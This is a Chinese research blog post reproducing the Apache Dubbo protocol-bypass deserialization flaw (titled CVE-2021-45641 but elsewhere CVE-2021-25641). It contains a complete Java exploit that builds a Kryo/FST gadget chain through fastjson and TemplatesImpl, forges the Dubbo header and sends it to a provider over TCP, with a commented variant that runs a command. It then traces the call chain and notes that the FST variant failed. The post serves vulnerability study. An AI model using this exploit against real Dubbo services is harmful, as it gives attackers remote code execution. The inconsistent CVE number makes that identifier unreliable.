0 前言

本篇是Dubbo反序列化安全问题的学习和研究第二篇,来看看Dubbo2.x下,由于dubbo的数据包协议设计安全问题,导致攻击者可以选定危险的反序列化协议从而实现RCE,复现漏洞为CVE-2021-45641 Apache Dubbo协议绕过漏洞

1 Dubbo的协议设计

由于Dubbo可以支持很多类型的反序列化协议,以满足不同系统对RPC的需求,比如

  • 跨语言的序列化协议:Protostuff,ProtoBuf,Thrift,Avro,MsgPack
  • 针对Java语言的序列化方式:Kryo,FST
  • 基于Json文本形式的反序列化方式:Json、Gson

Dubbo中对支持的协议做了一个编号,每个序列化协议都有一个对应的编号,以便在获取TCP流量后,根据编号选择相应的反序列化方法,因此这就是Dubbo支持这么多序列化协议的秘密,但同时也是危险所在。在org.apache.dubbo.common.serialize.Constants中可见每种序列化协议的编号

而在Dubbo的RPC通信时,对流量的规定最前方为header,而header中通过指定SerializationID,确定客户端和服务提供端通信过程使用的序列化协议。Dubbo通信的具体数据包规定如下图所示

虽然Dubbo的provider默认使用hessian2协议,但我们可以自由的修改SerializationID,选定危险的(反)序列化协议,例如kryo和fst。

2 Dubbo中的kryo序列化协议触发点

先来复现CVE-2021-45641,根据上一篇文章的步骤(https://www.cnblogs.com/bitterz/p/15526206.html),安装zookeeper和dubbo-samples,用idea打开dubbo-samples-api,然后修改其中的pom.xml如下

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId>
<artifactId>dubbomytest</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build> <properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>2.7.6</dubbo.version>
<junit.version>4.12</junit.version>
<docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
<jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
<image.name>${project.artifactId}:${dubbo.version}</image.name>
<java-image.name>openjdk:8</java-image.name>
<dubbo.port>20880</dubbo.port>
<zookeeper.port>2181</zookeeper.port>
<main-class>org.apache.dubbo.samples.provider.Application</main-class>
</properties> <dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency> <dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.3</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency> </dependencies>
</project>

主要是使dubbo版本<=2.7.3,直接上代码,修改自[https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/tree/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit]

package com.bitterz.dubbo;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Serialization;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstSerialization;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.rpc.RpcInvocation;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.net.Socket;
import java.util.HashMap;
import java.util.HashSet; public class FstAndKryoGadget {
// Customize URL for remote targets
public static String DUBBO_HOST_NAME = "localhost";
public static int DUBBO_HOST_PORT = 20880; //Exploit variant - comment to switch exploit variants
public static String EXPLOIT_VARIANT = "Kryo";
// public static String EXPLOIT_VARIANT = "FST"; // Magic header from ExchangeCodec
protected static final short MAGIC = (short) 0xdabb;
protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1]; // Message flags from ExchangeCodec
protected static final byte FLAG_REQUEST = (byte) 0x80;
protected static final byte FLAG_TWOWAY = (byte) 0x40; public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
member.setAccessible(true);
} public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
} public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
// 创建恶意类,用于报错抛出调用链
ClassPool pool = new ClassPool(true);
CtClass evilClass = pool.makeClass("EvilClass");
evilClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 让dubbo provider端报错显示调用链,或者弹计算器
evilClass.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
// evilClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] evilClassBytes = evilClass.toBytecode(); // 构建templates关键属性,特别是_bytecodes
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClassBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); // Dubbo自带fastJson解析器,且这种情况下会自动调用对象的getter方法,从而触发TemplatesImpl.getOutputProperties()
JSONObject jo = new JSONObject();
jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper // 借助Xstring.equals调用到JSON.toString方法
XString x = new XString("HEYO");
Object v1 = new HotSwappableTargetSource(jo);
Object v2 = new HotSwappableTargetSource(x); // 取消下面三行注释,增加new hashMap的注释,并将后方objectOutput.writeObject(hashMap)修改为hashSet,从而替换调用链
// HashSet hashSet = new HashSet();
// Field m = getField(HashSet.class, "map");
// HashMap hashMap = (HashMap) m.get(hashSet); HashMap<Object, Object> hashMap = new HashMap<>(); // 反射修改hashMap中的属性,让其保存v1 和 v2,避免本地调用hashMap.put触发payload
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(hashMap, "table", tbl); // 开始准备字节流
ByteArrayOutputStream bos = new ByteArrayOutputStream(); // 选择FST或者Kryo协议进行序列化
Serialization s;
ObjectOutput objectOutput;
switch(EXPLOIT_VARIANT) {
case "FST":
s = new FstSerialization();
objectOutput = new FstObjectOutput(bos);
break;
case "Kryo":
default:
s = new KryoSerialization();
objectOutput = new KryoObjectOutput(bos);
break;
} // 0xc2 is Hessian2 + two-way + Request serialization
// Kryo | two-way | Request is 0xc8 on third byte
// FST | two-way | Request is 0xc9 on third byte // 组装数据包的头部
byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
bos.write(header); // 组装数据包的内容
RpcInvocation ri = new RpcInvocation();
ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
//ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
// 需要根据dubbo存在的服务添加
ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}}); // Strings need only satisfy "readUTF" calls until "readObject" is reached
// 下面四个随便输入,无所谓
objectOutput.writeUTF("2.0.1");
objectOutput.writeUTF("org.apache.dubbo.demo.DeService");
objectOutput.writeUTF("0.1.0");
objectOutput.writeUTF("sayello"); // 不能随便输入
objectOutput.writeUTF("Ljava/lang/String;"); //*/
// 序列化恶意对象
objectOutput.writeObject(hashMap);
objectOutput.writeObject(ri.getAttachments()); objectOutput.flushBuffer();
byte[] payload = bos.toByteArray();
int len = payload.length - header.length;
Bytes.int2bytes(len, payload, 12); // 将数据包用十六进制输出
for (int i = 0; i < payload.length; i++) {
System.out.print(String.format("%02X", payload[i]) + " ");
if ((i + 1) % 8 == 0)
System.out.print(" ");
if ((i + 1) % 16 == 0 )
System.out.println(); }
// 将数据包转换成String输出
System.out.println();
System.out.println(new String(payload)); // 使用TCP发送payload
Socket pingSocket = null;
OutputStream out = null; try {
pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
out = pingSocket.getOutputStream();
} catch (IOException e) {
return;
}
out.write(payload);
out.flush();
out.close();
pingSocket.close();
System.out.println("Sent!");
}
}

注释给的比较多了,就不详细展开Templates.getOutputProperties()和fastJson自动调用目标getter方法的部分了(其实用报错的的方法可以在provider端看到全部调用链)。运行代码,攻击dubbo provider后,运行前面的代码new java.io.IOException().printStackTrace();,效果如下

从调用链来看,kryo反序列化时,也是针对不同的对象类型使用不同的反序列化器,而MapSerializer中肯定也有和hessian2一样的操作,调用map.put方法,来看看源代码:

  • com.esotericsoftware.kryo.serializers.MapSerializer#read

省略了一部分代码,只关注核心部分,在for循环中,不断反序列化获取key和value,再使用map.put还原对象,而这个map会根据传过来的类型自动创建,也就是说,我们发到provider的HashMap类,在provider中创建了一个空的HashMap对象,也就是这里的map,而后调用HashMap.put方法放入key-value。

在dubbo provider端,给map.put处打断点,进入调试,在map.put处跟进,可见经典的HashMap.put->HashMap.putVal->key.equals(k)(注意此时key和k是HotSwappableTargetSource类的不同实例对象,结合前面的代码,其中key=v2,k=v1,v1.target=XString

也就是,HotSwappableTargetSource.equals()

由于java中处理&&判断时,如果&&前面的条件结果为false,则不会执行&&符号后面的语句。此时变量other=v1=HotSwappableTargetSource,因此other instanceof HotSwappableTargetSource=true,所以执行&&后面的语句。此时结合前面的代码this=v2,因此this.target=XString("HEYO"),而other.target=jo,因此调用的时XString.equals(jo),跟进XString.equals方法

obj2就是我们构造的代码中的JSONObject对象,此时调用JSONObject.toString()方法,进一步跟进,会调用到toJSONString方法

而fastjson的反序列化过程,会自动调用反序列化目标类的所有getter方法,即调用到TemplatesImpl.getOutputProperties方法,从而造成任意代码执行。

因此kryo序列化协议的危险触发点实际上还是来自于Map类型的反序列化会用到Map.put方法,从而调用到equals、hashCode等方法造成RCE。

3 Dubbo中的fst序列化协议触发点

3.1 fst复现

源代码比较多就不一步一步说了,直接找到org.apache.dubbo.common.serialize.fst.FstObjectInput的readObject方法,跟进其具体实现方法,到达org.nustaq.serialization.FSTObjectInput的readObject方法,再进一步跟进可以看到fst也会根据反序列化对象类型选择反序列化器,并调用该反序列化器的instantiate方法,看下截图中的代码

注意这个FSTObjectSerializer类,这是一个接口,看看它的具体实现有哪些

FST跟前面的kryo、hessian2序列化协议差不多,针对不同的类型,在反序列化时通过不同的反序列化器还原出对象。FST协议对Map显然也用了专门的反序列化器,跟进org.nustaq.serialization.serializers.FSTMapSerializer中的instantiate方法

这代码一看就能抓住重点,for循环中不断反序列化还原出key和value,再用map.put将key和value还原,显然也时HashMap的触发链,我用https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept 中的poc尝试了一下,发现并没有弹出计算器,又从provider端在上方的代码中调试了一下,发现FST处理Templates对象时,会调用其readObject方法进行还原

上面可以看到provider端并没有还原出_bytecodes属性,不知道具体原因是啥,最后FST序列化协议在Dubbo中的漏洞poc没有复现出来。

3. 2 思路梳理

后面仔细了一下CVE-2021-25641提交者写的文章 https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/

里面提到还有不需要fastjson的poc,而且可利用版本更多

具体确认了一下,之所以利用有fastjson达到rce,是因为dubbo<=2.7.3时,fastjson的版本<=1.2.46,那扩展一下的话,还能用通用payload打。

图中说的不依赖fastjson的poc攻击版本更多,但作者没有公开这个poc,自己动手挖了一下,没有发现可以在equals、hashCode、toString方法后面继续接的类(排除fastjson的情况下),待日后大佬们出poc的时候再回来补充一下吧

4 总结

CVE-2021-25641这哥漏洞的攻击性挺强的呀,只要找到provider,在2.7.x这么高版本的情况下都能反序列化攻击,但目前看到的poc都依赖fastjson,祈求师傅们分析一下不依赖fastjson的poc学习一下:)

dubbo 2.x版本为了满足自动化匹配多种序列化协议,设计了dubbo数据包协议,结果其设计缺乏安全验证,产生了如此危险的漏洞。

Dubbo的反序列化安全问题——kryo和fst的更多相关文章

  1. Dubbo的反序列化安全问题-Hessian2

    0 前言 本篇是系列文章的第一篇,主要看看Dubbo使用反序列化协议Hessian2时,存在的安全问题.文章需要RPC.Dubbo.反序列化等前提知识点,推荐先阅读和体验Dubbo以及反序列化漏洞. ...

  2. 在Dubbo中使用高效的Java序列化(Kryo和FST)

    在Dubbo中使用高效的Java序列化(Kryo和FST) 作者:沈理 文档版权:Creative Commons 3.0许可证 署名-禁止演绎 完善中…… TODO 生成可点击的目录 目录 序列化漫 ...

  3. java序列化框架(protobuf、thrift、kryo、fst、fastjson、Jackson、gson、hessian)性能对比

     我们为什么要序列化 举个栗子:下雨天我们要打伞,但是之后我们要把伞折叠起来,方便我们存放.那么运用到我们java中道理是一样的,我们要将数据分解成字节流,以便存储在文件中或在网络上传输,这叫序列 ...

  4. 序列化与反序列化之Kryo

    序列化:把对象转换为字节序列的过程称为对象的序列化. 反序列化:把字节序列恢复为对象的过程称为对象的反序列化. 需要序列化的情况: 当你想把的内存中的对象状态保存到一个文件中或者数据库中时候: 当你想 ...

  5. 高性能的序列化与反序列化:kryo的简单使用

    前言:kryo是个高效的java序列化/反序列化库,目前Twitter.yahoo.Apache.strom等等在使用该技术,比如Apache的spark.hive等大数据领域用的较多. 为什么使用k ...

  6. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  7. Alibaba-技术专区-Dubbo3总体技术体系介绍及技术指南(目录)

    Dubbo3开题简介 如开篇所述,Dubbo 提供了构建云原生微服务业务的一站式解决方案,可以使用 Dubbo 快速定义并发布微服务组 件,同时基于 Dubbo 开箱即用的丰富特性及超强的扩展能力,构 ...

  8. 分布式RPC框架Dubbo实现服务治理:集成Kryo实现高速序列化,集成Hystrix实现熔断器

    Dubbo+Kryo实现高速序列化 Dubbo RPC是Dubbo体系中最核心的一种高性能,高吞吐量的远程调用方式,是一种多路复用的TCP长连接调用: 长连接: 避免每次调用新建TCP连接,提高调用的 ...

  9. Dubbo + Kryo 实现高速序列化

    Dubbo 中的序列化 Dubbo RPC 是 Dubbo 体系中最核心的一种高性能.高吞吐量的远程调用方式,可以称之为多路复用的 TCP 长连接调用: 长连接:避免了每次调用新建 TCP 连接,提高 ...

随机推荐

  1. 每日总结:String类(2021.10.6)

    String创建的字符串存储在公共池中 如: String s1="Runoob": new创建的字符串对象在堆上 如: String s2=new String("Ru ...

  2. NX二次开发-调内部函数UGS::UICOMP_enum::set_width(int)更改BlockUI的枚举控件宽度

    版本 NX11+VS2013 内容说明 这个内部函数的设置方法,我之前不会,是QQ群里的一位大佬分享出来的. 关于这块,我也百度搜了一下,找到了几个相关的. 1.直接手动修改BlockUI界面 在低版 ...

  3. docsify + Gitee Pages服务搭建开源项目网站

    前言 base-admin从开源至今,已经收获了2k Stat,而我们一直都没有一份像样的在线文档,最近写了一个博客园随笔备份Java脚本,将博客随笔备份到本地,格式是md文档格式,就有意去找将md文 ...

  4. 浅尝装饰器和AOP

    [写在前面] 参考文章:https://www.cnblogs.com/huxi/archive/2011/03/01/1967600.html[从简单的例子入手进行讲解,由浅入深,很到位] 装饰器部 ...

  5. 免费 CDN 玩法 —— 文件一键上传到 NPM

    前言 unpkg.jsdelivr 等站点可加速 NPM 包文件,适合作为个人网站或演示案例的免费 CDN. 虽然上传文件到 NPM 很简单,创建 package.json 然后 npm publis ...

  6. 初始CSS01

    CSS基础知识 CSS介绍 CSS全称为层叠样式表,与HTML相辅相成,实现网页的排版布局与样式美化. 使用方式 根据样式表在页面中呈现的方式不同,可以通过以下三种方式在页面中使用格式 内联样式 改样 ...

  7. MySQL:提高笔记-3

    MySQL:提高笔记-3 学完基础的语法后,进一步对 MySQL 进行学习,前几篇为: MySQL:提高笔记-1 MySQL:提高笔记-2 MySQL:提高笔记-3,本文 说明:这是根据 bilibi ...

  8. [对对子队]会议记录5.18(Scrum Meeting5)

    今天已完成的工作 何瑞 ​ 工作内容:搭建第8关 ​ 相关issue:搭建关卡7.8.9 ​ 相关签入:feat:初步搭建了Lv8 吴昭邦 ​ 工作内容:搭建第8关 ​ 相关issue:搭建关卡7.8 ...

  9. 2021.10.10考试总结[NOIP模拟73]

    T1 小L的疑惑 对于\(P_i\),如果所有比\(P_i\)小的数加起来也达不到\(P_i-1\),那么值域肯定不连续.否则设原来值域最大值为\(mx\),则\(P_i\)会让值域最大值增致\(mx ...

  10. 洛谷 P2120 [ZJOI2007] 仓库建设

    链接: P2120 题意: 有 \(n\) 个点依次编号为 \(1\sim n\).给出这 \(n\) 个点的信息,包括位置 \(x_i\),所拥有的的物品数量 \(p_i\),在此建设一个仓库的费用 ...